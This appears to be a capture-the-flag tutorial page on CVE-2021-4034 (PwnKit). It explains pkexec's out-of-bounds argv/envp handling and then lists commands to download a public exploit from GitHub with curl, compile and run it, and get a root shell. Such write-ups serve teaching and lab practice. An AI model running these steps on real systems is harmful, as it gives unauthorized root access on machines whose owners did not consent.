> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/linux-exploit/trick-0004.md).

# Exploit CVE-2021-4034 (PwnKit)

***

Identify a vulnerable `pkexec` binary on the system, which might have the SUID bit set and be located outside the standard `/usr/bin/` path (e.g., `/home/red/.git/pkexec`). Confirm its version is vulnerable to CVE-2021-4034 (e.g., version 0.105 is vulnerable). This vulnerability has been hiding in plain sight for 12+ years and affects all versions of pkexec since its first version in May 2009 (commit c8c3d83). Successful exploitation of this vulnerability allows any unprivileged user to gain root privileges on the vulnerable host.

### Technical Details of the PwnKit Vulnerability

The vulnerability lies in how `pkexec` processes command-line arguments. The beginning of pkexec’s `main()` function processes the command-line arguments (lines 534-568), and searches for the program to be executed, if its path is not absolute, in the directories of the PATH environment variable (lines 610-640):

```c
    435 main (int argc, char *argv[])
    436 {
    ...
    534  for (n = 1; n < (guint) argc; n++)
    535   {
    ...
    568   }
    ...
    610  path = g_strdup (argv[n]);
    ...
    629  if (path[0] != '/')
    630   {
    ...
    632    s = g_find_program_in_path (path);
    ...
    639    argv[n] = path = s;
    640   }
```

If the number of command-line arguments `argc` is 0 – which means if the argument list `argv` that we pass to `execve()` is empty, i.e. `{NULL}` – then `argv[0]` is `NULL`. This is the argument list’s terminator. Therefore:

* at line 534, the integer `n` is permanently set to 1;
* at line 610, the pointer `path` is read out-of-bounds from `argv[1]`;
* at line 639, the pointer `s` is written out-of-bounds to `argv[1]`.

When `execve()` a new program, the kernel copies argument and environment strings and pointers (`argv` and `envp`) to the end of the new program’s stack. Because the `argv` and `envp` pointers are contiguous in memory, if `argc` is 0, then the out-of-bounds `argv[1]` is actually `envp[0]`, the pointer to the first environment variable.\
Consequently:

* At line 610, the `path` of the program to be executed is read out-of-bounds from `argv[1]` (i.e. `envp[0]`).
* At line 632, this `path` is passed to `g_find_program_in_path()` (if `path` does not start with a slash, at line 629).
* Then, `g_find_program_in_path()` searches for an executable file named as per this path in the directories of the `PATH` environment variable.
* If such an executable file is found, its full path is returned.
* Finally, at line 639, this full path is written out-of-bounds to `argv[1]` (i.e. `envp[0]`), thus overwriting the first environment variable.

This out-of-bounds write allows an attacker to re-introduce an “unsecure” environment variable (for example, `LD_PRELOAD`) into `pkexec`’s environment. These “unsecure” variables are normally removed (by `ld.so`) from the environment of SUID programs before the `main()` function is called.

Download a public exploit for CVE-2021-4034. For example, using `curl`:

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

This command downloads the pre-compiled exploit. If you download the C source code (e.g., `PwnKit.c`), you will need to compile it.

If the discovered `pkexec` binary path is not the default `/usr/bin/pkexec`, modify the exploit's source code to point to the correct custom path.

Compile the exploit if necessary (e.g., C source like `PwnKit.c`):

```bash
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
```

Execute the modified exploit. First, make it executable:

```bash
chmod +x ./PwnKit
```

Then run it to get an interactive shell:

```bash
./PwnKit
```

Alternatively, you can execute a single command as root:

```bash
./PwnKit 'id'
```

Upon successful execution, you should obtain a root shell.
